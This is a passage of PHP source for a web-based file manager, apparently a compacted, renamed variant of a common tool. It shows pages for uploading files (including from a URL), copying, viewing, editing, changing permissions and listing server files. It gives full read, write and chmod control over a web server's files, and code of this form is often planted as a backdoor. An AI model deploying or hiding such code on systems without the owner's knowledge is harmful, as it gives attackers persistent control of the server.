                    <a href="?p=<?php echo rf_PATH  ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a>
                    <?php echo lng('DestinationFolder') ?>: <?php echo rf_enc(rf_convert_win(rf_ROOT_PATH.'/'.rf_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(rf_SELF_URL).'?p='.rf_enc(rf_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo rf_enc(rf_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo rf_enc(rf_PATH) ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple/>
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="form-inline" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <button type="submit" class="btn btn-primary ml-3"><?php echo lng('Upload') ?></button>
                        <div class="lds-facebook"><div></div><div></div><div></div></div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.js"></script>
    <script>
        Dropzone.options.fileUploader = {
            timeout: 120000,
            maxFilesize: <?php echo MAX_UPLOAD_SIZE; ?>,
            acceptedFiles : "<?php echo getUploadExt() ?>",
            init: function () {
                this.on("sending", function (file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function (res) {
                    let _response = JSON.parse(res.xhr.response);
                    if(_response.status == "error") {
                        toast(_response.info);
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
    <?php rf_show_footer();exit;}if(isset($_POST['copy'])&&!rf_READONLY){$copy_files=isset($_POST['file'])?$_POST['file']:null;if(!is_array($copy_files)||empty($copy_files)){rf_set_msg('Nothing selected','alert');rf_redirect(rf_SELF_URL.'?p='.urlencode(rf_PATH));}rf_show_header();rf_show_nav_path(rf_PATH); ?>
    <div class="path">
        <div class="card <?php echo rf_get_theme(); ?>">
            <div class="card-header">
                <h6><?php echo lng('Copying') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo rf_enc(rf_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php foreach($copy_files as $cf){echo '<input type="hidden" name="file[]" value="'.rf_enc($cf).'">'.PHP_EOL;} ?>
                    <p class="break-word"><?php echo lng('Files') ?>: <b><?php echo implode('</b>, <b>',$copy_files) ?></b></p>
                    <p class="break-word"><?php echo lng('SourceFolder') ?>: <?php echo rf_enc(rf_convert_win(rf_ROOT_PATH.'/'.rf_PATH)) ?><br>
                        <label for="inp_copy_to"><?php echo lng('DestinationFolder') ?>:</label>
                        <?php echo rf_ROOT_PATH  ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo rf_enc(rf_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label" style="vertical-align: sub"> <?php echo lng('Move') ?></label></p>
                    <p>
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> &nbsp;
                        <b><a href="?p=<?php echo urlencode(rf_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php rf_show_footer();exit;}if(isset($_GET['copy'])&&!isset($_GET['finish'])&&!rf_READONLY){$copy=$_GET['copy'];$copy=rf_clean_path($copy);if($copy==''||!file_exists(rf_ROOT_PATH.'/'.$copy)){rf_set_msg('File not found','error');rf_redirect(rf_SELF_URL.'?p='.urlencode(rf_PATH));}rf_show_header();rf_show_nav_path(rf_PATH); ?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            Source path: <?php echo rf_enc(rf_convert_win(rf_ROOT_PATH.'/'.$copy)) ?><br>
            Destination folder: <?php echo rf_enc(rf_convert_win(rf_ROOT_PATH.'/'.rf_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(rf_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(rf_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(rf_PATH) ?>"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i>Select folder</i></p>
        <ul class="folders break-word">
            <?php if($parent!==false){ ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
                <?php }foreach($folders as $f){ ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(rf_PATH.'/'.$f,'/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder"></i> <?php echo rf_convert_win($f) ?></a></li>
                <?php } ?>
        </ul>
    </div>
    <?php rf_show_footer();exit;}if(isset($_GET['settings'])&&!rf_READONLY){rf_show_header();rf_show_nav_path(rf_PATH);global $cfg,$lang,$lang_list; ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo rf_get_theme(); ?>">
            <h6 class="card-header">
                <i class="fa fa-cog"></i>  <?php echo lng('Settings') ?>
                <a href="?p=<?php echo rf_PATH  ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel') ?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-control" id="js-language" name="js-language">
                                <?php function getSelected($l){global $lang;return($lang==$l)?'selected':'';}foreach($lang_list as $k=>$v){echo"<option value='$k' ".getSelected($k).">$v</option>";} ?>
                            </select>
                        </div>
                    </div>
                    <?php function getChecked($conf,$val,$txt){if($conf==1&&$val==1){return $txt;}else if($conf==''&&$val==''){return $txt;}else{return '';}} ?>
                    <div class="form-group row">
                        <label for="js-err-rpt-1" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($report_errors,1,'active') ?>">
                                    <input type="radio" name="js-error-report" id="js-err-rpt-1" autocomplete="off" value="true" <?php echo getChecked($report_errors,1,'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($report_errors,'','active') ?>">
                                    <input type="radio" name="js-error-report" id="js-err-rpt-0" autocomplete="off" value="false" <?php echo getChecked($report_errors,'','checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <label for="js-hdn-1" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($show_hidden_files,1,'active') ?>">
                                    <input type="radio" name="js-show-hidden" id="js-hdn-1" autocomplete="off" value="true" <?php echo getChecked($show_hidden_files,1,'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($show_hidden_files,'','active') ?>">
                                    <input type="radio" name="js-show-hidden" id="js-hdn-0" autocomplete="off" value="false" <?php echo getChecked($show_hidden_files,'','checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <label for="js-hid-1" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($hide_cols,1,'active') ?>">
                                    <input type="radio" name="js-hide-cols" id="js-hid-1" autocomplete="off" value="true" <?php echo getChecked($hide_cols,1,'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($hide_cols,'','active') ?>">
                                    <input type="radio" name="js-hide-cols" id="js-hid-0" autocomplete="off" value="false" <?php echo getChecked($hide_cols,'','checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <label for="js-dir-1" class="col-sm-3 col-form-label"><?php echo lng('CalculateFolderSize') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($calc_folder,1,'active') ?>">
                                    <input type="radio" name="js-calc-folder" id="js-dir-1" autocomplete="off" value="true" <?php echo getChecked($calc_folder,1,'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($calc_folder,'','active') ?>">
                                    <input type="radio" name="js-calc-folder" id="js-dir-0" autocomplete="off" value="false" <?php echo getChecked($calc_folder,'','checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
                        </div>
                    </div>

                </form>
            </div>
        </div>
    </div>
    <?php rf_show_footer();exit;}if(isset($_GET['help'])){rf_show_header();rf_show_nav_path(rf_PATH);global $cfg,$lang; ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo rf_get_theme(); ?>">
            <h6 class="card-header">
                <i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?>
                <a href="?p=<?php echo rf_PATH  ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel') ?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="javascript:latest_release_info('<?php echo VERSION; ?>');"><i class="fa fa-link"> </i> <?php echo lng('Check Latest Version') ?></a></li>
                                <?php if(!rf_READONLY){ ?>
                                <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="Password" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php rf_show_footer();exit;}if(isset($_GET['view'])){$file=$_GET['view'];$quickView=(isset($_GET['quickView'])&&$_GET['quickView']==1)?true:false;$file=rf_clean_path($file,false);$file=str_replace('/','',$file);if($file==''||!is_file($path.'/'.$file)||in_array($file,$GLOBALS['exclude_items'])){rf_set_msg('File not found','error');rf_redirect(rf_SELF_URL.'?p='.urlencode(rf_PATH));}if(!$quickView){rf_show_header();rf_show_nav_path(rf_PATH);}$file_url=rf_ROOT_URL.rf_convert_win((rf_PATH!=''?'/'.rf_PATH:'').'/'.$file);$file_path=$path.'/'.$file;$ext=strtolower(pathinfo($file_path,PATHINFO_EXTENSION));$mime_type=rf_get_mime_type($file_path);$filesize=rf_get_filesize(filesize($file_path));$is_zip=false;$is_gzip=false;$is_image=false;$is_audio=false;$is_video=false;$is_text=false;$is_onlineViewer=false;$view_title='File';$filenames=false;$content='';$online_viewer=strtolower(rf_DOC_VIEWER);if($online_viewer&&$online_viewer!=='false'&&in_array($ext,rf_get_onlineViewer_exts())){$is_onlineViewer=true;}elseif($ext=='zip'||$ext=='tar'){$is_zip=true;$view_title='Archive';$filenames=rf_get_zif_info($file_path,$ext);}elseif(in_array($ext,rf_get_image_exts())){$is_image=true;$view_title='Image';}elseif(in_array($ext,rf_get_audio_exts())){$is_audio=true;$view_title='Audio';}elseif(in_array($ext,rf_get_video_exts())){$is_video=true;$view_title='Video';}elseif(in_array($ext,rf_get_text_exts())||substr($mime_type,0,4)=='text'||in_array($mime_type,rf_get_text_mimes())){$is_text=true;$content=file_get_contents($file_path);} ?>
    <div class="row">
        <div class="col-12">
            <?php if(!$quickView){ ?>
                <p class="break-word"><b><?php echo $view_title  ?> "<?php echo rf_enc(rf_convert_win($file)) ?>"</b></p>
                <p class="break-word">
                    Full path: <?php echo rf_enc(rf_convert_win($file_path)) ?><br>
                    File
                    size: <?php echo rf_get_filesize($filesize) ?><?php if($filesize>=1000): ?> (<?php echo sprintf('%s bytes',$filesize) ?>)<?php endif; ?>
                    <br>
                    MIME-type: <?php echo $mime_type  ?><br>
                    <?php if(($is_zip||$is_gzip)&&$filenames!==false){$total_files=0;$total_comp=0;$total_uncomp=0;foreach($filenames as $fn){if(!$fn['folder']){$total_files++;}$total_comp+=$fn['compressed_size'];$total_uncomp+=$fn['filesize'];} ?>
                        Files in archive: <?php echo $total_files  ?><br>
                        Total size: <?php echo rf_get_filesize($total_uncomp) ?><br>
                        Size in archive: <?php echo rf_get_filesize($total_comp) ?><br>
                        Compression: <?php echo round(($total_comp/$total_uncomp)*100) ?>%<br>
                        <?php }if($is_image){$image_size=getimagesize($file_path);echo 'Image sizes: '.(isset($image_size[0])?$image_size[0]:'0').' x '.(isset($image_size[1])?$image_size[1]:'0').'<br>';}if($is_text){$is_utf8=rf_is_utf8($content);if(function_exists('iconv')){if(!$is_utf8){$content=iconv(rf_ICONV_INPUT_ENC,'UTF-8//IGNORE',$content);}}echo 'Charset: '.($is_utf8?'utf-8':'8 bit').'<br>';} ?>
                </p>
                <p>
                    <b><a href="?p=<?php echo urlencode(rf_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></a></b> &nbsp;
                    <b><a href="<?php echo rf_enc($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
                    &nbsp;
                    <?php if(!rf_READONLY&&($is_zip||$is_gzip)&&$filenames!==false){$zip_name=pathinfo($file_path,PATHINFO_FILENAME); ?>
                        <b><a href="?p=<?php echo urlencode(rf_PATH) ?>&amp;unzip=<?php echo urlencode($file) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></a></b> &nbsp;
                        <b><a href="?p=<?php echo urlencode(rf_PATH) ?>&amp;unzip=<?php echo urlencode($file) ?>&amp;tofolder=1" title="UnZip to <?php echo rf_enc($zip_name) ?>"><i class="fa fa-check-circle"></i>
                                <?php echo lng('UnZipToFolder') ?></a></b> &nbsp;
                        <?php }if($is_text&&!rf_READONLY){ ?>
                        <b><a href="?p=<?php echo urlencode(trim(rf_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
                            </a></b> &nbsp;
                        <b><a href="?p=<?php echo urlencode(trim(rf_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                              class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
                            </a></b> &nbsp;
                    <?php } ?>
                    <b><a href="?p=<?php echo urlencode(rf_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
                </p>
                <?php }if($is_onlineViewer){if($online_viewer=='google'){echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url='.rf_enc($file_url).'" frameborder="no" style="width:100%;min-height:460px"></iframe>';}else if($online_viewer=='microsoft'){echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src='.rf_enc($file_url).'" frameborder="no" style="width:100%;min-height:460px"></iframe>';}}elseif($is_zip){if($filenames!==false){echo '<code class="maxheight">';foreach($filenames as $fn){if($fn['folder']){echo '<b>'.rf_enc($fn['name']).'</b><br>';}else{echo $fn['name'].' ('.rf_get_filesize($fn['filesize']).')<br>';}}echo '</code>';}else{echo '<p>Error while fetching archive info</p>';}}elseif($is_image){if(in_array($ext,array('gif','jpg','jpeg','png','bmp','ico','svg'))){echo '<p><img src="'.rf_enc($file_url).'" alt="" class="preview-img"></p>';}}elseif($is_audio){echo '<p><audio src="'.rf_enc($file_url).'" controls preload="metadata"></audio></p>';}elseif($is_video){echo '<div class="preview-video"><video src="'.rf_enc($file_url).'" width="640" height="360" controls preload="metadata"></video></div>';}elseif($is_text){if(rf_USE_HIGHLIGHTJS){$hljs_classes=array('shtml'=>'xml','htaccess'=>'apache','phtml'=>'php','lock'=>'json','svg'=>'xml',);$hljs_class=isset($hljs_classes[$ext])?'lang-'.$hljs_classes[$ext]:'lang-'.$ext;if(empty($ext)||in_array(strtolower($file),rf_get_text_names())||preg_match('#\.min\.(css|js)$#i',$file)){$hljs_class='nohighlight';}$content='<pre class="with-hljs"><code class="'.$hljs_class.'">'.rf_enc($content).'</code></pre>';}elseif(in_array($ext,array('php','php4','php5','phtml','phps'))){$content=highlight_string($content,true);}else{$content='<pre>'.rf_enc($content).'</pre>';}echo $content;} ?>
        </div>
    </div>
    <?php if(!$quickView){rf_show_footer();}exit;}if(isset($_GET['edit'])){$file=$_GET['edit'];$file=rf_clean_path($file,false);$file=str_replace('/','',$file);if($file==''||!is_file($path.'/'.$file)){rf_set_msg('File not found','error');rf_redirect(rf_SELF_URL.'?p='.urlencode(rf_PATH));}header('X-XSS-Protection:0');rf_show_header();rf_show_nav_path(rf_PATH);$file_url=rf_ROOT_URL.rf_convert_win((rf_PATH!=''?'/'.rf_PATH:'').'/'.$file);$file_path=$path.'/'.$file;$isNormalEditor=true;if(isset($_GET['env'])){if($_GET['env']=="ace"){$isNormalEditor=false;}}if(isset($_POST['savedata'])){$writedata=$_POST['savedata'];$fd=fopen($file_path,"w");@fwrite($fd,$writedata);fclose($fd);rf_set_msg('File Saved Successfully');}$ext=strtolower(pathinfo($file_path,PATHINFO_EXTENSION));$mime_type=rf_get_mime_type($file_path);$filesize=filesize($file_path);$is_text=false;$content='';if(in_array($ext,rf_get_text_exts())||substr($mime_type,0,4)=='text'||in_array($mime_type,rf_get_text_mimes())){$is_text=true;$content=file_get_contents($file_path);} ?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if(!$isNormalEditor){ ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="Fullscreen"><i class="fa fa-expand" title="Fullscreen"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="Search"><i class="fa fa-search" title="Search"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="Undo"><i class="fa fa-undo" title="Undo"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="Redo"><i class="fa fa-repeat" title="Redo"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="Word Wrap"><i class="fa fa-text-width" title="Word Wrap"></i></button>
                            <button data-cmd="none" data-option="help" class="btn btn-sm btn-outline-secondary" id="js-ace-goLine" title="Help"><i class="fa fa-question" title="Help"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="Select Document Type" class="btn-outline-secondary border-left-0 d-none d-md-block"><option>-- Select Mode --</option></select>
                            <select id="js-ace-theme" data-type="theme" title="Select Theme" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Theme --</option></select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="Selct Font Size" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Font Size --</option></select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-right pt-1">
                <a title="Back" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(rf_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
                <a title="Backup" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(rf_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
                <?php if($is_text){ ?>
                    <?php if($isNormalEditor){ ?>
                        <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(rf_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-outline-primary name="Save" data-url="<?php echo rf_enc($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                        </button>
                    <?php }else{ ?>
                        <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(rf_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-outline-primary" name="Save" data-url="<?php echo rf_enc($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
                        </button>
                    <?php } ?>
                <?php } ?>
            </div>
        </div>
        <?php if($is_text&&$isNormalEditor){echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">'.htmlspecialchars($content).'</textarea>';}elseif($is_text){echo '<div id="editor" contenteditable="true">'.htmlspecialchars($content).'</div>';}else{rf_set_msg('FILE EXTENSION HAS NOT SUPPORTED','error');} ?>
    </div>
    <?php rf_show_footer();exit;}if(isset($_GET['chmod'])&&!rf_READONLY&&!rf_IS_WIN){$file=$_GET['chmod'];$file=rf_clean_path($file);$file=str_replace('/','',$file);if($file==''||(!is_file($path.'/'.$file)&&!is_dir($path.'/'.$file))){rf_set_msg('File not found','error');rf_redirect(rf_SELF_URL.'?p='.urlencode(rf_PATH));}rf_show_header();rf_show_nav_path(rf_PATH);$file_url=rf_ROOT_URL.(rf_PATH!=''?'/'.rf_PATH:'').'/'.$file;$file_path=$path.'/'.$file;$mode=fileperms($path.'/'.$file); ?>
    <div class="path">
        <div class="card mb-2 <?php echo rf_get_theme(); ?>">
            <h6 class="card-header">
                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    Full path: <?php echo $file_path  ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo rf_enc(rf_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo rf_enc($file) ?>">

                    <table class="table compact-table <?php echo rf_get_theme(); ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng('Owner') ?></b></td>
                            <td><b><?php echo lng('Group') ?></b></td>
                            <td><b><?php echo lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1"<?php echo($mode&00400)?' checked':'' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1"<?php echo($mode&00040)?' checked':'' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1"<?php echo($mode&00004)?' checked':'' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1"<?php echo($mode&00200)?' checked':'' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1"<?php echo($mode&00020)?' checked':'' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1"<?php echo($mode&00002)?' checked':'' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1"<?php echo($mode&00100)?' checked':'' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1"<?php echo($mode&00010)?' checked':'' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1"<?php echo($mode&00001)?' checked':'' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button> &nbsp;
                        <b><a href="?p=<?php echo urlencode(rf_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php rf_show_footer();exit;}rf_show_header();rf_show_nav_path(rf_PATH);rf_show_message();$num_files=count($files);$num_folders=count($folders);$all_files_size=0;$tableTheme=(rf_THEME=="dark")?"text-white bg-dark table-dark":"bg-white"; ?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo rf_enc(rf_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
            <thead class="thead-white">
            <tr>
                <?php if(!rf_READONLY): ?>
                    <th style="width:3%" class="custom-checkbox-header">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                            <label class="custom-control-label" for="js-select-all-items"></label>
                        </div>
                    </th><?php endif; ?>
                <th><?php echo lng('Name') ?></th>
                <th><?php echo lng('Size') ?></th>
                <th><?php echo lng('Modified') ?></th>
                <?php if(!rf_IS_WIN&&!$hide_cols): ?>
                    <th><?php echo lng('Perms') ?></th>
                    <th><?php echo lng('Owner') ?></th><?php endif; ?>
                <th><?php echo lng('Actions') ?></th>
            </tr>
            </thead>
            <?php if($parent!==false){ ?>
                <tr><?php if(!rf_READONLY): ?>
                    <td class="nosort"></td><?php endif; ?>
                    <td class="border-0"><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0"></td>
                    <td class="border-0"></td>
                    <td class="border-0"></td>
                    <?php if(!rf_IS_WIN&&!$hide_cols){ ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
                <?php }$ii=3399;foreach($folders as $f){$is_link=is_link($path.'/'.$f);$img=$is_link?'icon-link_folder':'fa fa-folder';$modif_raw=filemtime($path.'/'.$f);$modif=date(rf_DATETIME_FORMAT,$modif_raw);if($calc_folder){$filesize_raw=rf_get_directorysize($path.'/'.$f);$filesize=rf_get_filesize($filesize_raw);}else{$filesize_raw="";$filesize=lng('Folder');}$perms=substr(decoct(fileperms($path.'/'.$f)),-4);if(function_exists('posix_getpwuid')&&function_exists('posix_getgrgid')){$owner=posix_getpwuid(fileowner($path.'/'.$f));$group=posix_getgrgid(filegroup($path.'/'.$f));}else{$owner=array('name'=>'?');$group=array('name'=>'?');} ?>
                <tr>
                    <?php if(!rf_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ii  ?>" name="file[]" value="<?php echo rf_enc($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ii  ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td>
                        <div class="filename"><a href="?p=<?php echo urlencode(trim(rf_PATH.'/'.$f,'/')) ?>"><i class="<?php echo $img  ?>"></i> <?php echo rf_convert_win(rf_enc($f)) ?>
                            </a><?php echo($is_link?' &rarr; <i>'.readlink($path.'/'.$f).'</i>':'') ?></div>
                    </td>
                    <td data-sort="a-<?php echo str_pad($filesize_raw,18,"0",STR_PAD_LEFT); ?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-sort="a-<?php echo $modif_raw; ?>"><?php echo $modif  ?></td>                                                                                                                           
                    <?php if(!rf_IS_WIN&&!$hide_cols): ?>
                        <td><?php if(!rf_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(rf_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms  ?></a><?php else: ?><?php echo $perms  ?><?php endif; ?>
                        </td>
                        <td><?php echo $owner['name'].':'.$group['name'] ?></td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if(!rf_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(rf_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('Folder').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
